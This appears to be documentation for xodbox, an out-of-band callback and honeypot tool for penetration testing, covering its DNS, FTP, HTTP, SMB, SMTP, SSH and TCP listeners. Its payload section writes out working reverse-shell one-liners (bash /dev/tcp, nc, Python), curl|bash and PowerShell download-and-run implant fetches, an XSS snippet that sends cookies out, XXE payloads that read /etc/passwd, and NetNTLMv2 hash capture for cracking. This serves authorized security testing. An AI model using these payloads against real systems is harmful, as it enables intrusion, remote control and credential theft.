Handlers

• 1: DNS
• 2: FTP
• 3: HTTPX
• 3.1: Default Payloads Seeds
• 3.1.1: Default Header
• 3.1.2: Redirect
• 3.1.3: Remote Address Reflector
• 3.1.4: Robots TXT
• 3.1.5: Build MDaaS
• 3.1.6: Inspect
• 3.1.7: XSS HTML
• 3.1.8: XSS JavaScript
• 3.1.9: Default Favicon
• 3.1.10: Bash Reverse Shell
• 3.1.11: Bind Shell
• 3.1.12: BusyBox Reverse Shell
• 3.1.13: Detect platform
• 3.1.14: HTML IFrame With Request Params
• 3.1.15: Open Graph
• 3.1.16: Python Reverse Shell
• 3.1.17: Reverse Shell
• 3.1.18: Simple SSH
• 3.1.19: Simple SSH Service
• 3.1.20: XSS Image Template
• 3.1.21: XXE Callback
• 3.1.22: XXE DTD
• 3.1.23: XXE SVG Hostname
• 3.1.24: XXE SVG Passwd
• 3.1.25: XXE SVG Request Params
• 3.1.26: XXE System
• 3.1.27: Default Page
• 3.1.28: In Development Seeds
• 3.1.28.1: Bind shell powershell
• 3.1.28.2: Pipe Process List to Notifier
• 3.1.28.3: WPAD
• 3.2: Example Payloads
• 3.2.1: List Payloads
• 4: SMB
• 5: SMTP
• 6: SSH
• 7: TCP

1 - DNS

Purpose

A DNS UDP listener that records every query it receives and answers each one with a single A record. Useful for confirming out-of-band DNS resolution from an application under test (e.g. SSRF, XXE, log4shell flavoured probes).

Behaviour

• Listens on UDP at the configured listener address.
• For each incoming query, dispatches an InteractionEvent whose Details() reports "DNS: <qname> <decimal-qtype>" (e.g. "DNS: c2.evil.com. 1" for an A query). Notifier filters use FilterString() instead, which has the canonical form "DNS <QTYPE-name> <qname> from <ip>" (e.g. "DNS A c2.evil.com. from 10.0.0.5").
• Replies with an A record pointing every name to default_ip, regardless of the requested type. Non-A queries still receive the forged A reply.
• A future enhancement may store per-name records in the database; today the handler is intentionally a single-answer reflector.

Configuration

Operational notes

• The handler responds to every query, including ANY/AAAA/MX. Use a filter at the notifier layer if you only care about specific names.
• Stop() shuts the underlying *dns.Server down with the supplied context as the drain deadline.

2 - FTP

Purpose

An FTP listener that presents a fake directory tree to clients. Useful for confirming out-of-band FTP fetches, picking up credential probes, and observing what scanners look for. List/read/auth interactions are emitted as InteractionEvents; no real files are served.

Behaviour

• Backed by fclairamb/ftpserverlib.
• Filesystem is an in-memory afero MemMapFs seeded with the directory paths listed in fake_dir_tree. Operators can probe the tree but cannot write durable state.
• Plaintext authentication is allowed; reads/writes/lists emit fine-grained action events (AuthSuccess, AuthFail, ListFiles, FileOpen, FileRead, FileWrite, FileReadDir, FileDelete).
• The bundled SimpleServerDriver.AuthUser rejects every login unless Credentials has been populated programmatically. The current YAML schema does not expose Credentials; the default behaviour is therefore “log the attempt and refuse”.

Configuration

Events

Operational notes

• Plaintext credentials submitted to this handler should be considered compromised; do not run it where users might accidentally type real passwords into it.
• Stop() calls the underlying FtpServer.Stop() (no context deadline; ftpserverlib does not accept one).

3 - HTTPX

Purpose

The primary HTTP/HTTPS listener. It serves user-defined payloads keyed by URL pattern, hosts static assets, exposes a private JSON API, and can transparently provision Let’s Encrypt certificates via ACME-DNS-01. Every request produces an InteractionEvent so out-of-band HTTP reach-out from an application under test can be asserted against expected paths and headers.

Replaying captured requests (SSRF)

Every HTTP interaction can render a curl command that reproduces the captured request — method, target URL, all headers, and the body. Notifiers include it automatically: slack/discord add a Replay: code block, webhook adds a Curl JSON field, and app_log logs a curl attribute.

This is aimed at SSRF: when a vulnerable server is coerced into calling xodbox, the captured request often carries the headers, cookies, or cloud-metadata tokens the victim attached. Copy the generated command, swap the URL for the intended internal target, and re-run it from the CLI to inspect that service with the victim’s own request:

curl -X POST 'http://your-xodbox/x/beacon?id=1' -H 'Authorization: Bearer …' --data-raw '…'

The command is single-line for easy copy-paste and shell-safe (values are single-quoted); Content-Length is dropped so curl recomputes it.

Behaviour

• HTTP serves the bundled payload database (see payload_db_seed.go for the seeded set). Additional payloads can be loaded from a watched directory via payload_dir; changes are picked up via fsnotify and debounced into the database.
• HTTPS mode activates when tls_names is set; certmagic provisions certificates via ACME-DNS-01 against the configured dns_provider. Without dns_provider, HTTPS will fall back to HTTP-01 / TLS-ALPN challenges, which require port 80/443 reachability from the internet.
• Bot suppression: clients that exceed 30 requests in any one-minute bucket are marked as bots (model.IsBot) and have their subsequent events suppressed from notifier delivery (logged at WARN). The threshold itself is not configurable today. Loopback, RFC1918 private, and link-local sources are exempt from this suppression by default — they’re usually the operator testing or an internal SSRF callback — so a burst of local/internal traffic won’t silently mute your notifiers. Set bot_exempt_private: "false" to subject every source to bot detection.
• The private API (mounted at api_path) requires the header Authorization: Token <api_token> on every request. An empty api_token rejects all callers. api_token is deprecated in favour of the admin console’s user accounts and API keys (see below); setting it logs a deprecation warning at start-up.
• Embedded static assets ship at /ixdbxi/.
• An embedded admin web UI (React SPA + JSON API) ships in the binary and is served under ui_path — or on a separate admin_listener bind — behind session/API-key auth and a CIDR allowlist (see below).

Configuration

General

OIDC / SSO

Optional single sign-on for the admin console via any OpenID Connect provider (Google, Okta, Keycloak, Azure AD, Authentik, …). SSO runs alongside the built-in username/password login — an “SSO” button appears on the login page when oidc_issuer and oidc_client_id are set. See OIDC single sign-on below.

TLS / ACME

MDaaS (Malicious Daemon as a Service) cross-compile

These keys are baked into binaries served from the /build/<os>/<arch>/<program> route. Only useful when payloads request a build.

Admin web UI

The binary embeds a responsive React admin console (built with Vite + shadcn/ui, compiled into pkg/handlers/httpx/webui/ via //go:embed) plus a JSON admin API. It lets an operator log in and:

• view/edit/create/delete payloads,
• browse the Events log with filters (target, remote, handler) — the app persists interactions from every handler (httpx, dns, ftp, smtp, ssh, tcp, smb), so the log spans all protocols, not just HTTP,
• delete individual events (and their uploaded files) from the list or detail view, and delete individual uploaded files without removing the event,
• inspect an event’s detail with a one-click copy-as-curl — JSON bodies are automatically pretty-printed for readability,
• get a webhook-style view of every hit to a specific target path,
• watch the Events log and sink feeds update in real time — new interactions stream in live via Server-Sent Events (GET /api/stream, filterable by handler/remote/target/sink), no refresh needed,
• manage sinks — named, described slugs with a per-slug event feed,
• review detected bots,
• manage users and API keys, and rotate their own password,
• edit the server config with a structured editor that shows labelled fields, descriptions, and grouped sections for each handler/notifier type — including a one-click Enable OIDC / SSO button that pre-populates all the SSO fields.

Sinks

A sink is a named, described slug you embed in a payload (a URL path, a DNS label, a query value) to correlate out-of-band interactions. Creating a sink does not change what the honeypot captures — every path and name is already recorded — it labels and groups the hits so you can remember what a slug is for and review its whole feed in one place. An interaction belongs to a sink when the slug appears in its request_target (HTTP path, DNS qname) or its raw request headers (the request line + Host), so /<slug>, <slug>.your.domain, and ?x=<slug> all correlate. Deleting a sink leaves its captured interactions untouched.

Sinks are managed in the UI (create with an optional slug + description, then open one to see its events, newest first) and over the API — GET/POST /api/sinks, GET/PUT /api/sinks/{slug} (sink + event feed / update), DELETE /api/sinks/{slug}.

From the CLI (handy for scripting payload generation — only the slug is written to stdout, so it is clean to capture):

SLUG=$(xodbox sink add --description "prod SSRF beacon")   # random slug
xodbox sink add my-label --description "a named one"        # explicit slug
xodbox sink add --description "with alerts" --notify        # enable hit notifications
xodbox sink list
xodbox sink rm my-label

Each sink’s detail page has two copy controls: Copy slug (the bare slug, for embedding in a payload) and Copy HTTP link (the full <public_url>/<slug> URL a target would hit to land in the sink). Set public_url so the link points at the honeypot’s real address; without it the link uses the console’s own origin, which is only correct when the UI is mounted on the honeypot listener.

Sink hit notifications

A sink with notify enabled dispatches a notification through all configured notifiers whenever a new interaction matches its slug. The notification includes the sink slug, description, a link (<public_url>/<slug> when public_url is set in defaults), and the full event metadata (handler, remote IP, request target, raw data, curl replay when available).

Toggle notifications in the admin UI (the Notifications on/off button on a sink’s detail page, or the checkbox in the sink list), over the API (PUT /api/sinks/{slug} with {"notify": true}), or at creation time (--notify flag on the CLI, "notify": true in the POST body).

Sink-hit events bypass the notifier’s regex filter — enabling notify on a sink is an explicit opt-in, so the event is delivered to every configured notifier regardless of its filter setting. The filter string still has the shape SINK <slug> <original-filter-string> for logging/debugging purposes.

To include the interaction link in Slack/Discord/webhook notifications, add public_url to the defaults section of xodbox.yaml:

defaults:
  public_url: https://oob.example.com

Login notifications

Admin traffic normally produces no InteractionEvents. With notify_logins: "true", each successful admin-UI login is an exception: it emits an event so operators can be alerted when someone accesses the console. The event is recorded in the Events log (as an httpx LOGIN interaction targeting the username) and dispatched to notifiers. Its filter string has the canonical shape

HTTPX Login <username> from <ip>

so a notifier selects logins with a filter like ^HTTPX Login. Failed login attempts are not emitted (they are rate-limited and enumeration-resistant).

Serving the console

Choose one of two mount strategies:

• Same listener, sub-path: set ui_path (e.g. /admin). The SPA and its /api/* routes are served under that prefix on the main HTTP(S) listener, with an SPA fallback for client-side routes.
• Isolated listener (recommended): set admin_listener (e.g. 127.0.0.1:8443). The console binds there, fully separated from the attacker-facing port; ui_path is then ignored on the main listener.

Either way, access is gated by ui_allow_cidrs (evaluated against the real TCP peer IP) and authentication. Admin routes never emit honeypot InteractionEvents.

Authentication model

• Browser sessions: cookie-based, server-side session tokens (hashed at rest), HttpOnly + SameSite=Strict + Secure under TLS. State-changing requests require a double-submit CSRF token (X-CSRF-Token header echoing the xodbox_csrf cookie). Login is rate-limited and enumeration-resistant.
• API keys: send Authorization: Bearer xdbx_…. Keys are sha256-hashed at rest, compared in constant time, and shown in plaintext exactly once at creation. Bearer requests are CSRF-exempt.
• Passwords: bcrypt, 12-character minimum.
• Roles: admin (may manage users) and user.
• OIDC/SSO: optional; see below. SSO users authenticate against an external identity provider and never have a local password.

OIDC single sign-on

When oidc_issuer and oidc_client_id are configured, the login page shows an SSO button next to the password form (SSO and passwords coexist, so a misconfigured IdP can’t lock you out — a local admin can always sign in). The flow is standard Authorization Code + PKCE:

1. The browser hits /api/auth/oidc/login, which stashes a state, nonce, and PKCE verifier in short-lived cookies and redirects to the provider.
2. The provider redirects back to /api/auth/oidc/callback, which validates state, exchanges the code (with the PKCE verifier), verifies the ID token signature and nonce, and then provisions the user and issues the same server-side session cookie the password flow uses. Everything downstream (CSRF, requireAuth, API keys) is unchanged.

User provisioning is just-in-time. On first login a local account is created from the token’s claims (no password, so it can never be used for password login); the account is keyed by the token’s iss#sub, never by email, so a colliding email can’t take over an existing account. On every login the user’s role is re-synced from the current claims, so IdP group changes take effect immediately.

Role mapping. With oidc_admin_group set, a user whose oidc_groups_claim contains that value gets the admin role; everyone else gets oidc_default_role (default user). Manage further elevation from the Users page as usual.

Example (Keycloak-style issuer):

- handler: HTTPX
  listener: :80
  admin_listener: 127.0.0.1:9091
  public_url: https://oob.example.com
  oidc_issuer: https://sso.example.com/realms/corp
  oidc_client_id: xodbox
  oidc_client_secret: "…"
  oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
  oidc_admin_group: xodbox-admins

Bootstrapping users (CLI)

Create the first admin before starting the server (there is no default account). API keys are then minted from the console.

xodbox user add alice --admin   # prints a generated password once
xodbox user list
xodbox user passwd alice        # reset a password (revokes active sessions)
xodbox user rm alice            # delete a user + their keys and sessions

Example config

handlers:
  - handler: HTTPX
    listener: ":80"
    admin_listener: "127.0.0.1:8443"   # console isolated from the honeypot port
    ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"
    # ui_path: "/admin"                # alternative: same listener, sub-path

Filters

The entire HTTP request (request line + headers + body) is fed to the notifier filter regexps. To alert on a specific prefix:

filter: "(GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /myPrefix"

This would match:

• https://test.example/myPrefixexample
• https://test.example/myPrefix/example
• https://test.example/myPrefix/asdasd/asdasd/asd/as/d

And would not match:

• https://test.example/robots.txt
• https://test.example/asd/myPrefix/example

Operational notes

• Stop(ctx) shuts down whichever server pair Start booted: in HTTP mode, the single *http.Server; in HTTPS mode, both the ACME HTTP-01 challenge listener on :80 and the TLS listener on :443. The payload-directory watcher goroutine (if payload_dir was set) is also cancelled. ctx bounds how long in-flight requests have to drain. When admin_listener is set, its dedicated server is started in Start and shut down under the same Stop(ctx) drain.
• Sensitive operator keys (api_token, dns_provider_api_key) end up in the xodbox config file. Restrict that file’s permissions to 0600 and the running user.
• Admin passwords, session tokens, and API keys live in the SQLite database (hashed), never in the config file. Prefer binding the admin console to an isolated admin_listener and/or a tight ui_allow_cidrs so it is never reachable from the attacker-facing port.

Backlog

New features

• Let’s Encrypt Auto Cert
• Exfil data saver

Legacy functionality to be implemented

• robots.txt
• unfurly
• arbitrary json
  • b64
• redirect
  • b64
• basic auth
• breakfastbot
• allow origin *

Legacy functionality that isn’t specific to a handler

• alert pattern with payload
• alert pattern (alert patterns are part of notifiers, maybe we need to expose alert patterns based on handler type)
• slack hook (this is now a notifier)

3.1 - Default Payloads Seeds

Default payloads that come with xodbox.

3.1.1 - Default Header

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

Server: BreakfastBot/1.0.0

3.1.2 - Redirect

HTTP Redirects to the query parameter l using the query param s as the status code.

Example Request

curl -i "http://xodbox.test/redir?l=https://github.com/defektive/xodbox&s=301"

Example Response

Location: https://github.com/defektive/xodbox

3.1.3 - Remote Address Reflector

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/ip

Example Response

10.1.2.3

3.1.4 - Robots TXT

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/robots.txt

Example Response

User-Agent: *
Disallow: /

3.1.5 - Build MDaaS

3.1.6 - Inspect

Depends on an internal code

/inspect

Inspect or reflect the request back in various formats.

• Plain Text (default, .txt)
• HTML (.html, .html)
• GIF (.gif)
• JPEG (.jpg)
• PNG (.png)
• MP4 (.mp4)
• XML (.xml)
• JSON (.json)
• Javascript (.js)

Examples

• http://localhost/inspect
• http://localhost/some/random/path/inspect.gif

3.1.7 - XSS HTML

/jsc.html

Simple HTML to load simple JS Payload.

3.1.8 - XSS JavaScript

/jsc

Simple JS Payload. Useful form embedding or quickly copying and modifying for an XSS payload to prove execution and exfil.

(function (){
    var s = document.createElement("img");
    document.body.appendChild(s);
    s.src="//{{.Request.Host}}/{{ .NotifyString}}/jscb?src="+window.location+"&c="+document.cookie;
})()

3.1.9 - Default Favicon

Redirects to the embedded default logo, exposed via embedded fs.

Example Request

curl -i http://xodbox.test/favicon.ico

3.1.10 - Bash Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

curl -i "http://xodbox.test/rsh/bash?h=10.10.10.10&p=9090"

Example Response

bash -i >& /dev/tcp/127.0.0.1/9091 0>&1
0<&196;exec 196<>/dev/tcp/127.0.0.1/9091 ; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/127.0.0.1/9091 0<&1 2>&1

3.1.11 - Bind Shell

Build a bind shell implant for the specific platform and execute it.

Example Request

curl xodbox/bind.sh|bash

3.1.12 - BusyBox Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

curl -i "http://xodbox.test/rsh/bb?h=10.10.10.10&p=9090"

Example Response

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1111 >/tmp/f

3.1.13 - Detect platform

Example Request

curl -i "http://xodbox.test/detect.sh"

This will curl the notification url with the detected values in the path.

3.1.14 - HTML IFrame With Request Params

/ht

attempts to get whatever files is supplied via the f query parameter

3.1.15 - Open Graph

Useful for unfurlers. Maybe we should merge this into inspect…

Example Request

curl -i "http://xodbox.test/unfurl"

Example Response

Location: https://github.com/defektive/xodbox

3.1.16 - Python Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

curl -i "http://xodbox.test/rsh/python?h=10.10.10.10&p=9090"

Example Response

import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",9091));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")

3.1.17 - Reverse Shell

Build a reverse shell implant for the specific platform and execute it.

Example Request

curl xodbox/reverse.sh|bash

3.1.18 - Simple SSH

Build an SSH server implant for the specific platform and execute it.

Example Request

curl xodbox/ssh.sh|bash

3.1.19 - Simple SSH Service

Build an SSH server implant for the specific platform and install it as a service, then start the service.

Example Request

curl xodbox/ssh.sh|bash

3.1.20 - XSS Image Template

3.1.21 - XXE Callback

XXE Callback used by xxe-system

3.1.22 - XXE DTD

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

/evil.dtd

dtd for use by others

3.1.23 - XXE SVG Hostname

/sh

attempts to get /etc/hostname

SVG with XXE payloads

3.1.24 - XXE SVG Passwd

/sp

attempts to get /etc/passwd

3.1.25 - XXE SVG Request Params

/sv

attempts to get whatever files is supplied via the f query parameter

3.1.26 - XXE System

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

3.1.27 - Default Page

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

hi

3.1.28 - In Development Seeds

Seeds that are not tested or finished.

3.1.28.1 - Bind shell powershell

iex ((New-Object System.Net.WebClient).DownloadString('http://xobox/bind.ps1'))

3.1.28.2 - Pipe Process List to Notifier

Example Request

curl xodbox/pipe.sh|bash

3.1.28.3 - WPAD

WPAD Proxy. Not really useful at the moment. Should be more useful in the future

3.2 - Example Payloads

Default payloads that come with xodbox.

3.2.1 - List Payloads

List Payloads

---
title: List Payloads
description: List payloads
weight: 1
pattern: /i-forgot-how-things-work$
is_final: true
data:
  headers:
    Content-Type: text/plain
  body: |
    Payloads
    
    {{ range .Payloads }}
    {{ .Pattern }} - {{ .Name }} [{{ .Type }}]
    {{ .Description }}
    
    {{ end }}
---

4 - SMB

Purpose

A fake SMB server for authorized engagements. It speaks just enough SMB2 to walk a client through NTLM authentication and capture the resulting NetNTLMv2 response as a hashcat-crackable hash. Point a target at \\your-host\share (via a coerced UNC path, img src=file://…, RESPONDER-style poisoning, an SSRF, etc.) and, if it authenticates, you get its hash.

It never grants a session — every authentication attempt is answered with a logon failure once the hash has been recorded. No credentials are verified and no shares are served.

Behaviour

• Listens on tcp4 at the configured listener address (SMB direct-host, default :445).

• Answers a legacy SMB1 multi-protocol negotiate with an SMB2 wildcard so the client re-negotiates over SMB2; answers SMB2 NEGOTIATE with dialect 2.1 and a SPNEGO token advertising NTLMSSP.

• On SESSION_SETUP, returns an NTLMSSP CHALLENGE with the fixed server challenge 0x1122334455667788 (the Responder/Impacket convention, so captured hashes work with existing tooling).

• Parses the client’s NTLMSSP AUTHENTICATE, extracts the domain, user and NT challenge response, and emits an Auth event whose Data() is the hashcat mode 5600 line:

  user::domain:1122334455667788:<NTProofStr>:<clientBlob>
  

• Answers the authenticate with STATUS_LOGON_FAILURE and closes.

Configuration

The old persist knob has been removed. Every handler’s interactions — including SMB — are now persisted centrally by the application (see below), so captured hashes always land in the interactions table and the web view. Note that NetNTLMv2 hashes are crackable credential material sitting on disk; protect the SQLite database accordingly.

Events

Feed a captured Auth payload straight to hashcat -m 5600 or john --format=netntlmv2.

Each event is persisted to the interactions table by the application’s central event loop (every handler’s events are stored, not just SMB’s). An Auth capture lands as handler=smb, request_type=Auth, with the DOMAIN\User in request_target and the hashcat line in data, so it survives restarts and appears in the web view.

Operational notes

• Only NTLMv2 is captured. LM-only / NTLMv1 clients (rare, and usually disabled) are logged and skipped.
• The advertised target name defaults to XODBOX and is configurable via target_name; it only affects what the client believes it connected to, so set a realistic value to avoid fingerprinting.
• No SMB library is vendored — the minimal SMB2/NTLMSSP/SPNEGO wire format is implemented in-package, so the handler adds no dependencies.
• The accept loop returns from Start() cleanly when Stop() closes the listener; in-flight connections are closed so their goroutines exit.
• Only use this against systems you are authorized to test.

5 - SMTP

Purpose

An SMTP listener that accepts (and then discards) mail to confirm out-of-band email delivery from an application under test. Every SMTP verb produces a separate InteractionEvent so MAIL FROM, RCPT TO, DATA, RSET, AUTH PLAIN, and QUIT all show up in the dispatch stream.

Behaviour

• Backed by emersion/go-smtp.
• AllowInsecureAuth = true — plaintext AUTH PLAIN is accepted on the cleartext socket; every attempt is recorded as a PasswordAuth event. Do not point clients carrying real credentials at this handler.
• A self-signed certificate is generated on startup for STARTTLS, with a randomised 128-bit serial and the SAN test.com. The certificate is intentionally untrusted (see SECURITY.md) — clients that accept it are the bug.
• The DATA body is read but discarded; only the action is dispatched.

Configuration

Events

Operational notes

• Stop(ctx) calls smtp.Server.Shutdown(ctx); in-flight sessions get the context’s deadline to drain.
• The handler’s Debug field is currently wired to os.Stdout — every SMTP exchange is echoed there in addition to being dispatched.

6 - SSH

Purpose

An SSH listener that records every authentication attempt and then rejects it. Useful for credential-stuffing telemetry and for confirming out-of-band SSH reach-out from an application under test.

Behaviour

• Backed by gliderlabs/ssh.
• Both password and public-key auth callbacks dispatch an InteractionEvent (PasswordAuth / KeyAuth) carrying the attempting username and remote address. Both callbacks then return false, so no session is ever established.
• If a session were to open (it does not, by design), it would write "This account is currently not available\n" and close.
• A fresh host key is generated on first startup. The handler does not currently expose host-key configuration.

Configuration

Events

Operational notes

• Every credential attempt that lands here is logged. Plaintext passwords reaching the handler should be treated as compromised.
• Stop(ctx) calls ssh.Server.Shutdown(ctx).

7 - TCP

Purpose

A raw TCP listener that accepts every connection, reads anything the client sends, and emits an event per chunk. Useful for confirming out-of-band TCP reach-out from an application under test where the client doesn’t speak a recognised application protocol.

Behaviour

• Listens on tcp4 at the configured listener address.
• One Connect event per accepted connection.
• One DataRecv event per read() call from the client, carrying the bytes that were actually read in RawData (Data()). Chunks are copied before dispatch — slices are safe to retain across the channel.
• One Disconnect event when the read loop exits (EOF, peer reset, read error, or Stop()).
• The handler never writes back to the client.

Configuration

Events

Operational notes

• The accept loop returns from Start() cleanly when Stop() closes the listener. In-flight handleConn goroutines drain naturally as their peers close.
• Stop(ctx) ignores the context’s deadline — closing the listener is immediate.